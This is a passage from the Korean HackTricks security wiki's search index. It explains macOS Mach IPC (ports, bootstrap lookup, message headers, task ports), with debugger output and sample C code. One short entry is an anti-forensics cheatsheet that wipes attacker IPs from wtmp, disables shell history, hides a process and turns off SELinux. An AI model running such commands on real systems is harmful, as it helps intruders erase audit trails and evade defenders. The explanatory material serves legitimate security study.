메시지를 보내 주어진 포트를 com.apple.taska와 같은 이름에 연결 합니다. 작업 B 는 부트스트랩 서버 와 상호작용하여 서비스 이름에 대한 부트스트랩 조회 를 실행합니다(bootstrap_lookup). 부트스트랩 서버가 응답할 수 있도록, 작업 B는 조회 메시지 내에서 이전에 생성한 포트에 대한 SEND 권한 을 전송합니다. 조회가 성공하면, 서버는 작업 A로부터 받은 SEND 권한을 복제하여 작업 B에 전송 합니다. 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있다는 점을 기억하세요. 이 SEND 권한으로 작업 B 는 작업 A 에 메시지를 전송 할 수 있습니다. 양방향 통신을 위해 일반적으로 작업 B 는 수신 권한과 전송 권한을 가진 새 포트를 생성하고, SEND 권한을 작업 A에 부여 하여 작업 B에 메시지를 보낼 수 있게 합니다(양방향 통신). 부트스트랩 서버는 작업이 주장하는 서비스 이름을 인증할 수 없습니다 . 이는 작업 이 잠재적으로 모든 시스템 작업을 가장할 수 있음을 의미합니다 , 예를 들어 잘못된 인증 서비스 이름을 주장하고 모든 요청을 승인하는 것입니다 . 그런 다음 Apple은 시스템 제공 서비스의 이름 을 보안 구성 파일에 저장하며, 이 파일은 SIP 보호 디렉토리에 위치합니다: /System/Library/LaunchDaemons 및 /System/Library/LaunchAgents. 각 서비스 이름과 함께 연관된 바이너리도 저장됩니다 . 부트스트랩 서버는 이러한 서비스 이름 각각에 대해 수신 권한을 생성하고 유지 합니다. 이러한 미리 정의된 서비스에 대해 조회 프로세스는 약간 다릅니다 . 서비스 이름이 조회될 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다: 작업 B 가 서비스 이름에 대한 부트스트랩 조회 를 시작합니다. launchd 는 작업이 실행 중인지 확인하고, 실행 중이 아니면 시작 합니다. 작업 A (서비스)는 부트스트랩 체크인 (bootstrap_check_in())을 수행합니다. 여기서 부트스트랩 서버는 SEND 권한을 생성하고 이를 유지하며, 수신 권한을 작업 A에 전송 합니다. launchd는 SEND 권한을 복제하여 작업 B에 전송 합니다. 작업 B 는 수신 권한과 전송 권한을 가진 새 포트를 생성하고, SEND 권한을 작업 A (svc)에 부여하여 작업 B에 메시지를 보낼 수 있게 합니다(양방향 통신). 그러나 이 프로세스는 미리 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 원래 설명된 대로 작동하며, 이는 잠재적으로 가장할 수 있는 가능성을 허용할 수 있습니다. caution 따라서, launchd는 절대 충돌해서는 안 되며, 그렇지 않으면 전체 시스템이 충돌할 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » 통신 설정","id":"2396","title":"통신 설정"},"2397":{"body":"여기에서 더 많은 정보를 찾으세요 mach_msg 함수는 본질적으로 시스템 호출로, Mach 메시지를 전송하고 수신하는 데 사용됩니다. 이 함수는 전송할 메시지를 초기 인수로 요구합니다. 이 메시지는 mach_msg_header_t 구조체로 시작해야 하며, 그 뒤에 실제 메시지 내용이 이어져야 합니다. 구조체는 다음과 같이 정의됩니다: c typedef struct {\\nmach_msg_bits_t msgh_bits;\\nmach_msg_size_t msgh_size;\\nmach_port_t msgh_remote_port;\\nmach_port_t msgh_local_port;\\nmach_port_name_t msgh_voucher_port;\\nmach_msg_id_t msgh_id;\\n} mach_msg_header_t; 프로세스가 _ 수신 권한 _을 가지고 있으면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로, 발신자 는 전송 또는 _ 일회성 전송 권한 _을 부여받습니다. 일회성 전송 권한은 단일 메시지를 전송하는 데만 사용되며, 그 후에는 무효가 됩니다. 초기 필드 **msgh_bits**는 비트맵입니다: 첫 번째 비트(가장 중요한 비트)는 메시지가 복잡하다는 것을 나타내는 데 사용됩니다(자세한 내용은 아래 참조). 3번째 및 4번째 비트는 커널에서 사용됩니다. 두 번째 바이트의 5개의 가장 덜 중요한 비트 는 바우처 에 사용할 수 있습니다: 키/값 조합을 전송하는 또 다른 유형의 포트입니다. 세 번째 바이트의 5개의 가장 덜 중요한 비트 는 로컬 포트 에 사용할 수 있습니다. 네 번째 바이트의 5개의 가장 덜 중요한 비트 는 원격 포트 에 사용할 수 있습니다. 바우처, 로컬 및 원격 포트에서 지정할 수 있는 유형은 다음과 같습니다(출처: mach/message.h ): c #define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */\\n#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */\\n#define MACH_MSG_TYPE_MOVE_SEND_ONCE 18 /* Must hold sendonce right */\\n#define MACH_MSG_TYPE_COPY_SEND 19 /* Must hold send right(s) */\\n#define MACH_MSG_TYPE_MAKE_SEND 20 /* Must hold receive right */\\n#define MACH_MSG_TYPE_MAKE_SEND_ONCE 21 /* Must hold receive right */\\n#define MACH_MSG_TYPE_COPY_RECEIVE 22 /* NOT VALID */\\n#define MACH_MSG_TYPE_DISPOSE_RECEIVE 24 /* must hold receive right */\\n#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */\\n#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */ 예를 들어, MACH_MSG_TYPE_MAKE_SEND_ONCE는 이 포트에 대해 전송-한번 권한 이 파생되고 전송되어야 함을 나타내기 위해 사용될 수 있습니다. 수신자가 응답할 수 없도록 MACH_PORT_NULL로 지정할 수도 있습니다. 쉬운 양방향 통신 을 달성하기 위해 프로세스는 응답 포트 ( msgh_local_port )라고 불리는 mach 메시지 헤더 에 mach 포트 를 지정할 수 있으며, 여기서 메시지의 수신자 는 이 메시지에 응답을 보낼 수 있습니다. tip 이러한 종류의 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용된다는 점에 유의하십시오 (xpc_connection_send_message_with_reply 및 xpc_connection_send_message_with_reply_sync). 그러나 일반적으로 양방향 통신을 생성하기 위해 이전에 설명한 대로 다른 포트가 생성됩니다 . 메시지 헤더의 다른 필드는 다음과 같습니다: msgh_size: 전체 패킷의 크기. msgh_remote_port: 이 메시지가 전송되는 포트. msgh_voucher_port: mach 바우처 . msgh_id: 수신자가 해석하는 이 메시지의 ID. caution mach 메시지는 mach port를 통해 전송된다는 점에 유의하십시오 , 이는 mach 커널에 내장된 단일 수신자 , 다중 발신자 통신 채널입니다. 여러 프로세스 가 mach 포트에 메시지를 보낼 수 있지만 , 언제든지 단일 프로세스만 읽을 수 있습니다 . 메시지는 mach_msg_header_t 헤더로 형성되며, 그 뒤에 본문 과 트레일러 (있는 경우)가 따르며, 응답할 수 있는 권한을 부여할 수 있습니다. 이러한 경우, 커널은 단순히 메시지를 한 작업에서 다른 작업으로 전달하면 됩니다. 트레일러 는 커널에 의해 메시지에 추가된 정보 (사용자가 설정할 수 없음)로, MACH_RCV_TRAILER_ 플래그로 메시지 수신 시 요청할 수 있습니다(요청할 수 있는 다양한 정보가 있습니다). 복잡한 메시지 그러나 추가 포트 권한을 전달하거나 메모리를 공유하는 것과 같은 더 복잡한 메시지가 있으며, 이 경우 커널은 이러한 객체를 수신자에게 전송해야 합니다. 이 경우 헤더 msgh_bits의 가장 중요한 비트가 설정됩니다. 전달할 수 있는 가능한 설명자는 mach/message.h 에서 정의됩니다: c #define MACH_MSG_PORT_DESCRIPTOR 0\\n#define MACH_MSG_OOL_DESCRIPTOR 1\\n#define MACH_MSG_OOL_PORTS_DESCRIPTOR 2\\n#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR 3\\n#define MACH_MSG_GUARDED_PORT_DESCRIPTOR 4 #pragma pack(push, 4) typedef struct{\\nnatural_t pad1;\\nmach_msg_size_t pad2;\\nunsigned int pad3 : 24;\\nmach_msg_descriptor_type_t type : 8;\\n} mach_msg_type_descriptor_t; In 32비트에서는 모든 설명자가 12B이고 설명자 유형은 11번째에 있습니다. 64비트에서는 크기가 다릅니다. caution 커널은 한 작업에서 다른 작업으로 설명자를 복사하지만 먼저 커널 메모리에 복사본을 생성 합니다. \\"Feng Shui\\"로 알려진 이 기술은 여러 익스플로잇에서 남용되어 커널이 자신의 메모리에 데이터를 복사 하게 하여 프로세스가 자신에게 설명자를 전송하게 만듭니다. 그런 다음 프로세스는 메시지를 수신할 수 있습니다(커널이 이를 해제할 것입니다). 또한 취약한 프로세스에 포트 권한을 전송 하는 것도 가능하며, 포트 권한은 프로세스에 나타납니다(처리하지 않더라도).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Mach 메시지","id":"2397","title":"Mach 메시지"},"2398":{"body":"포트는 작업 네임스페이스와 연결되어 있으므로 포트를 생성하거나 검색하려면 작업 네임스페이스도 쿼리됩니다(자세한 내용은 mach/mach_port.h 참조): mach_port_allocate | mach_port_construct : 포트 생성 . mach_port_allocate는 포트 세트 도 생성할 수 있습니다: 포트 그룹에 대한 수신 권한. 메시지가 수신될 때마다 해당 포트가 표시됩니다. mach_port_allocate_name: 포트의 이름을 변경합니다(기본적으로 32비트 정수). mach_port_names: 대상에서 포트 이름을 가져옵니다. mach_port_type: 이름에 대한 작업의 권한을 가져옵니다. mach_port_rename: 포트 이름을 변경합니다(FD의 dup2와 유사). mach_port_allocate: 새로운 RECEIVE, PORT_SET 또는 DEAD_NAME을 할당합니다. mach_port_insert_right: RECEIVE 권한이 있는 포트에 새로운 권한을 생성합니다. mach_port_... mach_msg | mach_msg_overwrite : mach 메시지를 전송하고 수신하는 데 사용되는 함수 . 오버라이트 버전은 메시지 수신을 위한 다른 버퍼를 지정할 수 있습니다(다른 버전은 단순히 재사용합니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Mac Ports APIs","id":"2398","title":"Mac Ports APIs"},"2399":{"body":"mach_msg 및 mach_msg_overwrite 함수는 메시지를 전송하고 수신하는 데 사용되므로, 이들에 중단점을 설정하면 전송된 메시지와 수신된 메시지를 검사할 수 있습니다. 예를 들어, 디버깅할 수 있는 애플리케이션을 시작하면 libSystem.B가 로드되어 이 함수를 사용할 것입니다 . (lldb) b mach_msg\\nBreakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20\\n(lldb) r\\nProcess 71019 launched: \'/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp\' (arm64)\\nProcess 71019 stopped\\n* thread #1, queue = \'com.apple.main-thread\', stop reason = breakpoint 1.1\\nframe #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg\\nlibsystem_kernel.dylib`mach_msg:\\n-> 0x181d3ac20 <+0>: pacibsp\\n0x181d3ac24 <+4>: sub sp, sp, #0x20\\n0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]\\n0x181d3ac2c <+12>: add x29, sp, #0x10\\nTarget 0: (SandboxedShellApp) stopped.\\n(lldb) bt\\n* thread #1, queue = \'com.apple.main-thread\', stop reason = breakpoint 1.1\\n* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg\\nframe #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56\\nframe #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388\\nframe #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208\\nframe #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348\\nframe #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76\\nframe #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92\\nframe #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104\\nframe #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236\\nframe #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168 **mach_msg**의 인수를 얻으려면 레지스터를 확인하십시오. 인수는 다음과 같습니다(출처: mach/message.h ): c __WATCHOS_PROHIBITED __TVOS_PROHIBITED\\nextern mach_msg_return_t mach_msg(\\nmach_msg_header_t *msg,\\nmach_msg_option_t option,\\nmach_msg_size_t send_size,\\nmach_msg_size_t rcv_size,\\nmach_port_name_t rcv_name,\\nmach_msg_timeout_t timeout,\\nmach_port_name_t notify); 레지스트리에서 값을 가져옵니다: armasm reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6\\nx0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)\\nx1 = 0x0000000003114207 ;mach_msg_option_t (option)\\nx2 = 0x0000000000000388 ;mach_msg_size_t (send_size)\\nx3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)\\nx4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)\\nx5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)\\nx6 = 0x0000000000000000 ;mach_port_name_t (notify) 메시지 헤더를 검사하여 첫 번째 인수를 확인합니다: armasm (lldb) x/6w $x0\\n0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03\\n0x124e04cf8: 0x00000b07 0x40000322 ; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher\\n; 0x00000388 -> mach_msg_size_t (msgh_size)\\n; 0x00000807 -> mach_port_t (msgh_remote_port)\\n; 0x00001f03 -> mach_port_t (msgh_local_port)\\n; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)\\n; 0x40000322 -> mach_msg_id_t (msgh_id) 그 유형의 mach_msg_bits_t는 응답을 허용하는 데 매우 일반적입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Debug mach_msg","id":"2399","title":"Debug mach_msg"},"24":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Methodology » Pentesting Methodology","id":"24","title":"Pentesting Methodology"},"240":{"body":"bash # Remove attacker IPs from wtmp\\nutmpdump /var/log/wtmp | sed \'/203\\\\.0\\\\.113\\\\.66/d\' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp # Disable bash history\\nexport HISTFILE=/dev/null # Masquerade as kernel thread\\necho 0 > /proc/$$/autogroup # hide from top/htop\\nprintf \'\\\\0\' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp\\nsetenforce 0 # disable SELinux","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 6. 방어 회피 치트시트","id":"240","title":"6. 방어 회피 치트시트"},"2400":{"body":"bash lsmp -p sudo lsmp -p 1\\nProcess (1) : launchd\\nname ipc-object rights flags boost reqs recv send sonce oref qlimit msgcount context identifier type\\n--------- ---------- ---------- -------- ----- ---- ----- ----- ----- ---- ------ -------- ------------------ ----------- ------------\\n0x00000203 0x181c4e1d send -------- --- 2 0x00000000 TASK-CONTROL SELF (1) launchd\\n0x00000303 0x183f1f8d recv -------- 0 --- 1 N 5 0 0x0000000000000000\\n0x00000403 0x183eb9dd recv -------- 0 --- 1 N 5 0 0x0000000000000000\\n0x0000051b 0x1840cf3d send -------- --- 2 -> 6 0 0x0000000000000000 0x00011817 (380) WindowServer\\n0x00000603 0x183f698d recv -------- 0 --- 1 N 5 0 0x0000000000000000\\n0x0000070b 0x175915fd recv,send ---GS--- 0 --- 1 2 Y 5 0 0x0000000000000000\\n0x00000803 0x1758794d send -------- --- 1 0x00000000 CLOCK\\n0x0000091b 0x192c71fd send -------- D-- 1 -> 1 0 0x0000000000000000 0x00028da7 (418) runningboardd\\n0x00000a6b 0x1d4a18cd send -------- --- 2 -> 16 0 0x0000000000000000 0x00006a03 (92247) Dock\\n0x00000b03 0x175a5d4d send -------- --- 2 -> 16 0 0x0000000000000000 0x00001803 (310) logd\\n[...]\\n0x000016a7 0x192c743d recv,send --TGSI-- 0 --- 1 1 Y 16 0 0x0000000000000000\\n+ send -------- --- 1 <- 0x00002d03 (81948) seserviced\\n+ send -------- --- 1 <- 0x00002603 (74295) passd\\n[...] 이름 은 포트에 기본적으로 주어진 이름입니다(첫 3 바이트에서 증가 하는 방식을 확인하세요). **ipc-object**는 포트의 난독화된 고유 식별자 입니다. 또한 send 권한만 있는 포트가 그것의 소유자 (포트 이름 + pid)를 식별 하는 방식을 주목하세요. 같은 포트에 연결된 다른 작업 을 나타내기 위해 **+**를 사용하는 것도 주목하세요. 또한 procesxp 를 사용하여 등록된 서비스 이름 을 확인할 수 있습니다(SIP가 비활성화되어 있어야 com.apple.system-task-port 필요). procesp 1 ports 이 도구는 http://newosxbook.com/tools/binpack64-256.tar.gz 에서 다운로드하여 iOS에 설치할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » 포트 나열","id":"2400","title":"포트 나열"},"2401":{"body":"보내는 사람 이 포트를 할당 하고, 이름 org.darlinghq.example에 대한 전송 권한 을 생성하여 부트스트랩 서버 에 전송하는 방법에 주목하세요. 보내는 사람은 해당 이름의 전송 권한 을 요청하고 이를 사용하여 메시지를 전송 했습니다. receiver.c\\nsender.c c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html\\n// gcc receiver.c -o receiver #include \\n#include \\n#include int main() { // Create a new port.\\nmach_port_t port;\\nkern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);\\nif (kr != KERN_SUCCESS) {\\nprintf(\\"mach_port_allocate() failed with code 0x%x\\\\n\\", kr);\\nreturn 1;\\n}\\nprintf(\\"mach_port_allocate() created port right name %d\\\\n\\", port); // Give us a send right to this port, in addition to the receive right.\\nkr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);\\nif (kr != KERN_SUCCESS) {\\nprintf(\\"mach_port_insert_right() failed with code 0x%x\\\\n\\", kr);\\nreturn 1;\\n}\\nprintf(\\"mach_port_insert_right() inserted a send right\\\\n\\"); // Send the send right to the bootstrap server, so that it can be looked up by other processes.\\nkr = bootstrap_register(bootstrap_port, \\"org.darlinghq.example\\", port);\\nif (kr != KERN_SUCCESS) {\\nprintf(\\"bootstrap_register() failed with code 0x%x\\\\n\\", kr);\\nreturn 1;\\n}\\nprintf(\\"bootstrap_register()\'ed our port\\\\n\\"); // Wait for a message.\\nstruct {\\nmach_msg_header_t header;\\nchar some_text[10];\\nint some_number;\\nmach_msg_trailer_t trailer;\\n} message; kr = mach_msg(\\n&message.header, // Same as (mach_msg_header_t *) &message.\\nMACH_RCV_MSG, // Options. We\'re receiving a message.\\n0, // Size of the message being sent, if sending.\\nsizeof(message), // Size of the buffer for receiving.\\nport, // The port to receive a message on.\\nMACH_MSG_TIMEOUT_NONE,\\nMACH_PORT_NULL // Port for the kernel to send notifications about this message to.\\n);\\nif (kr != KERN_SUCCESS) {\\nprintf(\\"mach_msg() failed with code 0x%x\\\\n\\", kr);\\nreturn 1;\\n}\\nprintf(\\"Got a message\\\\n\\"); message.some_text[9] = 0;\\nprintf(\\"Text: %s, number: %d\\\\n\\", message.some_text, message.some_number);\\n} c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html\\n// gcc sender.c -o sender #include \\n#include \\n#include int main() { // Lookup the receiver port using the bootstrap server.\\nmach_port_t port;\\nkern_return_t kr = bootstrap_look_up(bootstrap_port, \\"org.darlinghq.example\\", &port);\\nif (kr != KERN_SUCCESS) {\\nprintf(\\"bootstrap_look_up() failed with code 0x%x\\\\n\\", kr);\\nreturn 1;\\n}\\nprintf(\\"bootstrap_look_up() returned port right name %d\\\\n\\", port); // Construct our message.\\nstruct {\\nmach_msg_header_t header;\\nchar some_text[10];\\nint some_number;\\n} message; message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);\\nmessage.header.msgh_remote_port = port;\\nmessage.header.msgh_local_port = MACH_PORT_NULL; strncpy(message.some_text, \\"Hello\\", sizeof(message.some_text));\\nmessage.some_number = 35; // Send the message.\\nkr = mach_msg(\\n&message.header, // Same as (mach_msg_header_t *) &message.\\nMACH_SEND_MSG, // Options. We\'re sending a message.\\nsizeof(message), // Size of the message being sent.\\n0, // Size of the buffer for receiving.\\nMACH_PORT_NULL, // A port to receive a message on, if receiving.\\nMACH_MSG_TIMEOUT_NONE,\\nMACH_PORT_NULL // Port for the kernel to send notifications about this message to.\\n);\\nif (kr != KERN_SUCCESS) {\\nprintf(\\"mach_msg() failed with code 0x%x\\\\n\\", kr);\\nreturn 1;\\n}\\nprintf(\\"Sent a message\\\\n\\");\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » 코드 예제","id":"2401","title":"코드 예제"},"2402":{"body":"특정 작업이 SEND 권한을 가지고 있는 경우 특정 민감한 작업을 수행하거나 특정 민감한 데이터에 접근할 수 있는 특별한 포트가 있습니다. 이는 공격자의 관점에서 이러한 포트가 매우 흥미로운 이유는 기능 때문만이 아니라 작업 간에 SEND 권한을 공유할 수 있기 때문 입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » 특권 포트","id":"2402","title":"특권 포트"},"2403":{"body":"이 포트는 숫자로 표시됩니다. SEND 권한은 **host_get_special_port**를 호출하여 얻을 수 있으며, RECEIVE 권한은 **host_set_special_port**를 호출하여 얻을 수 있습니다. 그러나 두 호출 모두 host_priv 포트를 필요로 하며, 이는 오직 루트만 접근할 수 있습니다. 게다가, 과거에는 루트가 **host_set_special_port**를 호출하여 임의의 포트를 탈취할 수 있었으며, 예를 들어 HOST_KEXTD_PORT를 탈취하여 코드 서명을 우회할 수 있었습니다(현재 SIP가 이를 방지합니다). 이들은 2개의 그룹으로 나뉩니다: 첫 7개의 포트는 커널에 의해 소유 되며, 1은 HOST_PORT, 2는 HOST_PRIV_PORT, 3은 HOST_IO_MASTER_PORT, 7은 HOST_MAX_SPECIAL_KERNEL_PORT입니다. 숫자 8 부터 시작하는 포트는 시스템 데몬에 의해 소유 되며, host_special_ports.h 에서 선언된 것을 찾을 수 있습니다. 호스트 포트 : 프로세스가 이 포트에 대해 SEND 권한을 가지고 있다면, 다음과 같은 루틴을 호출하여 시스템 에 대한 정보 를 얻을 수 있습니다: host_processor_info: 프로세서 정보 얻기 host_info: 호스트 정보 얻기 host_virtual_physical_table_info: 가상/물리 페이지 테이블 (MACH_VMDEBUG 필요) host_statistics: 호스트 통계 얻기 mach_memory_info: 커널 메모리 레이아웃 얻기 호스트 프라이빗 포트 : 이 포트에 대해 SEND 권한을 가진 프로세스는 부팅 데이터 표시 또는 커널 확장 로드 시도와 같은 특권 작업 을 수행할 수 있습니다. 프로세스는 루트여야 이 권한을 얻을 수 있습니다. 또한, kext_request API를 호출하기 위해서는 **com.apple.private.kext***와 같은 다른 권한이 필요하며, 이는 Apple 바이너리에게만 부여됩니다. 호출할 수 있는 다른 루틴은 다음과 같습니다: host_get_boot_info: machine_boot_info() 얻기 host_priv_statistics: 특권 통계 얻기 vm_allocate_cpm: 연속 물리 메모리 할당 host_processors: 호스트 프로세서에 대한 SEND 권한 mach_vm_wire: 메모리를 상주 상태로 만들기 루트 가 이 권한에 접근할 수 있으므로, host_set_[special/exception]_port[s]를 호출하여 호스트 특별 또는 예외 포트를 탈취 할 수 있습니다. 모든 호스트 특별 포트를 보기 위해 다음을 실행할 수 있습니다: bash procexp all ports | grep \\"HSP\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » 호스트 특별 포트","id":"2403","title":"호스트 특별 포트"},"2404":{"body":"이들은 잘 알려진 서비스에 예약된 포트입니다. task_[get/set]_special_port를 호출하여 가져오거나 설정할 수 있습니다. 이들은 task_special_ports.h에서 찾을 수 있습니다: c typedef\\tint\\ttask_special_port_t; #define TASK_KERNEL_PORT\\t1\\t/* Represents task to the outside\\nworld.*/\\n#define TASK_HOST_PORT 2\\t/* The host (priv) port for task. */\\n#define TASK_BOOTSTRAP_PORT\\t4\\t/* Bootstrap environment for task. */\\n#define TASK_WIRED_LEDGER_PORT\\t5\\t/* Wired resource ledger for task. */\\n#define TASK_PAGED_LEDGER_PORT\\t6\\t/* Paged resource ledger for task. */ TASK_KERNEL_PORT [task-self send right]: 이 작업을 제어하는 데 사용되는 포트입니다. 작업에 영향을 미치는 메시지를 보내는 데 사용됩니다. 이는 **mach_task_self (아래의 Task Ports 참조)**에 의해 반환되는 포트입니다. TASK_BOOTSTRAP_PORT [bootstrap send right]: 작업의 부트스트랩 포트입니다. 다른 시스템 서비스 포트의 반환을 요청하는 메시지를 보내는 데 사용됩니다. TASK_HOST_NAME_PORT [host-self send right]: 포함된 호스트에 대한 정보를 요청하는 데 사용되는 포트입니다. 이는 mach_host_self 에 의해 반환되는 포트입니다. TASK_WIRED_LEDGER_PORT [ledger send right]: 이 작업이 고정 커널 메모리를 가져오는 출처를 명명하는 포트입니다. TASK_PAGED_LEDGER_PORT [ledger send right]: 이 작업이 기본 메모리 관리 메모리를 가져오는 출처를 명명하는 포트입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Task Special Ports","id":"2404","title":"Task Special Ports"},"2405":{"body":"원래 Mach는 \\"프로세스\\"가 아니라 \\"작업\\"을 가지고 있었으며, 이는 스레드의 컨테이너에 더 가깝다고 여겨졌습니다. Mach가 BSD와 병합되면서 각 작업은 BSD 프로세스와 연관되었습니다 . 따라서 모든 BSD 프로세스는 프로세스가 되기 위해 필요한 세부 정보를 가지고 있으며, 모든 Mach 작업도 내부 작동을 가지고 있습니다(존재하지 않는 pid 0인 kernel_task를 제외하고). 이와 관련된 두 가지 매우 흥미로운 함수가 있습니다: task_for_pid(target_task_port, pid, &task_port_of_pid): 지정된 pid와 관련된 작업의 작업 포트에 대한 SEND 권한을 가져와서 지정된 target_task_port에 제공합니다(일반적으로 mach_task_self()를 사용한 호출 작업이지만, 다른 작업의 SEND 포트일 수도 있습니다). pid_for_task(task, &pid): 작업에 대한 SEND 권한이 주어졌을 때, 이 작업이 어떤 PID와 관련이 있는지 찾습니다. 작업 내에서 작업을 수행하기 위해서는 mach_task_self()를 호출하여 자신에게 SEND 권한이 필요합니다(이는 task_self_trap (28)을 사용합니다). 이 권한으로 작업은 다음과 같은 여러 작업을 수행할 수 있습니다: task_threads: 작업의 스레드의 모든 작업 포트에 대한 SEND 권한을 가져옵니다. task_info: 작업에 대한 정보를 가져옵니다. task_suspend/resume: 작업을 일시 중지하거나 재개합니다. task_[get/set]_special_port thread_create: 스레드를 생성합니다. task_[get/set]_state: 작업 상태를 제어합니다. 더 많은 내용은 mach/task.h 에서 찾을 수 있습니다. caution 다른 작업 의 작업 포트에 대한 SEND 권한이 있으면, 다른 작업에 대해 이러한 작업을 수행할 수 있습니다. 게다가, task_port는 vm_map 포트이기도 하며, 이는 vm_read() 및 vm_write()와 같은 함수를 사용하여 작업 내에서 메모리를 읽고 조작 할 수 있게 해줍니다. 이는 기본적으로 다른 작업의 task_port에 대한 SEND 권한이 있는 작업이 해당 작업에 코드를 주입할 수 있음을 의미합니다 . 커널도 작업이기 때문에 , 누군가가 **kernel_task**에 대한 SEND 권한 을 얻으면, 커널이 무엇이든 실행하도록 만들 수 있습니다(탈옥). mach_task_self()를 호출하여 호출 작업에 대한 이 포트의 이름을 가져옵니다 . 이 포트는 **exec()**를 통해서만 상속됩니다 ; fork()로 생성된 새 작업은 새 작업 포트를 받습니다(특별한 경우로, suid 바이너리에서 exec() 후 작업도 새 작업 포트를 받습니다). 작업을 생성하고 포트를 얻는 유일한 방법은 fork()를 수행하면서 \\"포트 스왑 댄스\\" 를 수행하는 것입니다. 포트에 접근하기 위한 제한 사항은 다음과 같습니다(바이너리 AppleMobileFileIntegrity의 macos_task_policy에서): 앱이 com.apple.security.get-task-allow 권한 을 가지고 있으면, 같은 사용자 의 프로세스가 작업 포트에 접근할 수 있습니다(일반적으로 디버깅을 위해 Xcode에 의해 추가됨). 노타리제이션 프로세스는 프로덕션 릴리스에서는 이를 허용하지 않습니다. com.apple.system-task-ports 권한이 있는 앱은 커널을 제외한 모든 프로세스의 작업 포트 를 얻을 수 있습니다. 이전 버전에서는 **task_for_pid-allow**라고 불렸습니다. 이는 Apple 애플리케이션에만 부여됩니다. 루트는 하드닝 런타임으로 컴파일되지 않은 애플리케이션의 작업 포트에 접근할 수 있습니다(Apple이 아닌). 작업 이름 포트: _작업 포트_의 비특권 버전입니다. 작업을 참조하지만 이를 제어할 수는 없습니다. 이를 통해 사용할 수 있는 유일한 것은 task_info()인 것 같습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Task Ports","id":"2405","title":"Task Ports"},"2406":{"body":"스레드에도 관련 포트가 있으며, 이는 **task_threads**를 호출하는 작업과 processor_set_threads를 통해 볼 수 있습니다. 스레드 포트에 대한 SEND 권한은 thread_act 서브시스템의 함수를 사용할 수 있게 해줍니다, 예를 들어: thread_terminate thread_[get/set]_state act_[get/set]_state thread_[suspend/resume] thread_info ... 모든 스레드는 **mach_thread_self**를 